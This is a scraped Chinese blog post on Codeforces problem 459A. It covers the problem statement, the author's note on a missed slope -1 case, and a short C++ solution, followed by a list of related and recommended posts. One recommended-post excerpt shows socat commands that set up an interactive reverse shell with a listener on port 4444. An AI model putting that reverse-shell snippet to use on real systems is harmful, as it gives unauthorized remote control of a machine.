Codeforces Round #261 (Div. 2)459A. Pashmak and Garden(数学题)
题目链接:http://codeforces.com/problemset/problem/459/A
1 second
256 megabytes
standard input
standard output
Pashmak has fallen in love with an attractive girl called Parmida since one year ago...
Today, Pashmak set up a meeting with his partner in a romantic garden. Unfortunately, Pashmak has forgotten where the garden is. But he remembers that the garden looks like a square with sides parallel to the coordinate axes. He also remembers that there is
exactly one tree on each vertex of the square. Now, Pashmak knows the position of only two of the trees. Help him to find the position of two remaining ones.
The first line contains four space-separated x1, y1, x2, y2 ( - 100 ≤ x1, y1, x2, y2 ≤ 100) integers,
where x1 and y1 are
coordinates of the first tree and x2 and y2 are
coordinates of the second tree. It's guaranteed that the given points are distinct.
If there is no solution to the problem, print -1. Otherwise print four space-separated integers x3, y3, x4, y4 that
correspond to the coordinates of the two other trees. If there are several solutions you can output any of them.
Note that x3, y3, x4, y4 must
be in the range ( - 1000 ≤ x3, y3, x4, y4 ≤ 1000).
0 0 0 1
1 0 1 1
0 0 1 1
0 1 1 0
0 0 1 2
-1
题意:
给出两个点的坐标,问再补充两个点是否能形成正方形,能则输出其余两点的坐标。否则输出-1。
PS:
昨晚手贱了(做题的姿势不太对,),本来是一道非常easy的题。做得太急忘了考虑斜率为-1的情况(当时居然过了);最后就被别人Hack了,无语的是当时我已经锁了这题。仅仅能眼睁睁的看着被Hack。这还是第一次被别人Hack掉。真是智商捉急啊。
被别人一个案例3 5 5 3直接打屎!
代码例如以下:
#include <cstdio>
#include <cmath>
#include <cstring>
#include <string>
#include <cstdlib>
#include <iostream>
#include <algorithm>
using namespace std;
const double eps = 1e-9;
#define INF 1e18
//typedef long long LL;
//typedef __int64 LL;
int main()
{
int x1,x2,y1,y2;
int x3,y3,x4,y4; while(~scanf("%d%d%d%d",&x1,&y1,&x2,&y2))
{
int t;
if(x1 == x2 )
{
t = y1-y2;
if(t < 0)
t = -t;
x3 = x1+t,x4 = x2+t;
y3 = y1, y4 = y2;
printf("%d %d %d %d\n",x3,y3,x4,y4);
continue;
}
if(y1 == y2)
{
t = x1-x2;
if(t < 0)
t = -t;
y3 = y1+t,y4 = y2+t;
x3 = x1, x4 = x2;
printf("%d %d %d %d\n",x3,y3,x4,y4);
continue;
}
//if((y2-y1) == (x2-x1))//斜率为1
if((y2-y1) == (x2-x1) ||(y2-y1) == -(x2-x1))//斜率为1或者-1
{
x3 = x1, y3 = y2;
x4 = x2, y4 = y1;
printf("%d %d %d %d\n",x3,y3,x4,y4);
continue;
} printf("-1\n");
}
return 0;
}
Codeforces Round #261 (Div. 2)459A. Pashmak and Garden(数学题)的更多相关文章
- Codeforces Round #261 (Div. 2)459D. Pashmak and Parmida's problem(求逆序数对)
题目链接:http://codeforces.com/contest/459/problem/D D. Pashmak and Parmida's problem time limit per tes ...
- Codeforces Round #261 (Div. 2) B. Pashmak and Flowers 水题
题目链接:http://codeforces.com/problemset/problem/459/B 题意: 给出n支花,每支花都有一个漂亮值.挑选最大和最小漂亮值得两支花,问他们的差值为多少,并且 ...
- Codeforces Round #261 (Div. 2) E. Pashmak and Graph DP
http://codeforces.com/contest/459/problem/E 不明确的是我的代码为啥AC不了,我的是记录we[i]以i为结尾的点的最大权值得边,然后wa在第35 36组数据 ...
- Codeforces Round 261 Div.2 E Pashmak and Graph --DAG上的DP
题意:n个点,m条边,每条边有一个权值,找一条边数最多的边权严格递增的路径,输出路径长度. 解法:先将边权从小到大排序,然后从大到小遍历,dp[u]表示从u出发能够构成的严格递增路径的最大长度. dp ...
- Codeforces Round 261 Div.2 D Pashmak and Parmida's problem --树状数组
题意:给出数组A,定义f(l,r,x)为A[]的下标l到r之间,等于x的元素数.i和j符合f(1,i,a[i])>f(j,n,a[j]),求有多少对这样的(i,j). 解法:分别从左到右,由右到 ...
- Codeforces Round #261 (Div. 2) D. Pashmak and Parmida's problem (树状数组求逆序数 变形)
题目链接 题意:给出数组A,定义f(l,r,x)为A[]的下标l到r之间,等于x的元素数.i和j符合f(1,i,a[i])>f(j,n,a[j]),求i和j的种类数. 我们可以用map预处理出 ...
- Codeforces Round #261 (Div. 2)[ABCDE]
Codeforces Round #261 (Div. 2)[ABCDE] ACM 题目地址:Codeforces Round #261 (Div. 2) A - Pashmak and Garden ...
- Codeforces Round #261 (Div. 2)——Pashmak and Buses
题目链接 题意: n个人,k个车,d天.每一个人每天能够坐随意一个车.输出一种情况保证:不存在两个人,每天都在同一辆车上 (1 ≤ n, d ≤ 1000; 1 ≤ k ≤ 109). 分析: 比赛中 ...
- Codeforces Round #261 (Div. 2)——Pashmak and Graph
题目链接 题意: n个点.m个边的有向图.每条边有一个权值,求一条最长的路径,使得路径上边值严格递增.输出路径长度 )) 分析: 由于路径上会有反复点,而边不会反复.所以最開始想的是以边为状态进行DP ...
随机推荐
- 在eclipse中关联android源代码
1打包源代码成jar: 1 新建一个java项目 2 import 想打包的源代码文件 3 export 这个文件 : 选择java->jar file . 这里会让你选择输出路径 2 加 ...
- hdoj--1166--敌兵布阵(线段树)
敌兵布阵 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submi ...
- 反向Shell增强
下载socat 在客户端: socat file:`tty`,raw,echo=0 tcp-listen:4444 在服务端: socat exec:'bash -li',pty,stderr,set ...
- 知网下载pdf文件的方法
title: 知网下载pdf文件的方法 toc: false date: 2018-11-02 17:54:43 categories: methods tags: 知网 平时我们使用的是国内版的知网 ...
- Redis学习笔记(一) 初识 Redis
简介 我所在的公司是一个以线下业务为主的公司,软件这一块的东西可以说是手工作坊,技术上的东西全靠大家自己折腾.最近也是觉得自己在社会主义的怀抱里安逸了太久,要提高思想政治觉悟,不能忘了资本主义的黑暗, ...
- CSS3背景 制作导航菜单综合练习题
CSS3背景 制作导航菜单综合练习题 小伙伴们,根据所学知识,使用CSS3实现下图的导航菜单效果 任务 1.制作导航圆角 提示:使用border-radius实现圆角 2.制作导航立体风格 提示:使用 ...
- mysql安装出现 conflicts with mysql*的解决办法
rpm -ivh Percona-Server-client-56-5.6.16-rel64.0.el6.x86_64.rpm --nodeps --force error: Failed depen ...
- 硅谷最有名的帮派:如果你不知道PayPal黑帮
paypal 你知道Tesla Motors,LinkedIn,SpaceX,Yelp,Yammer这几家公司的共同点吗?除了他们的市值都超过10亿美金之外,他们的创办人都是Paypal黑帮(Payp ...
- 话说普通的TPlink ip地址是192.168.1.2 在LAN里有台电脑共享打印机 ip 是192.168.0.2 计算机名为j02 然后我把这台电脑加到DMZ里,让根路由器同一网段的可以访问 但添加打印机的时候 提示 计算机名重复 后来在需要添加打印机电脑的hosts文件里加了 192.168.1.2 j02 式了一样不行 话说,这个打印机该怎么添加
开启端口映射,从外网访问内网的文件共享: 已经在路由器里开了远端WEB管理设了端口,另外端口映射局域网里的一台电脑,比如WEB端口设的是8080,映射192.168.1.100到4877端口,现在我想 ...
- Declarative programming-声明式编程-布局约束是一个案例
声明式编程需要底层或运行时环境支持. 声明式语言的关键词确定了执行的关键控制流. 表述编程语言是说明性的东西:而不是具体的执行方案. 通常他的执行由解释器进行. In computer science ...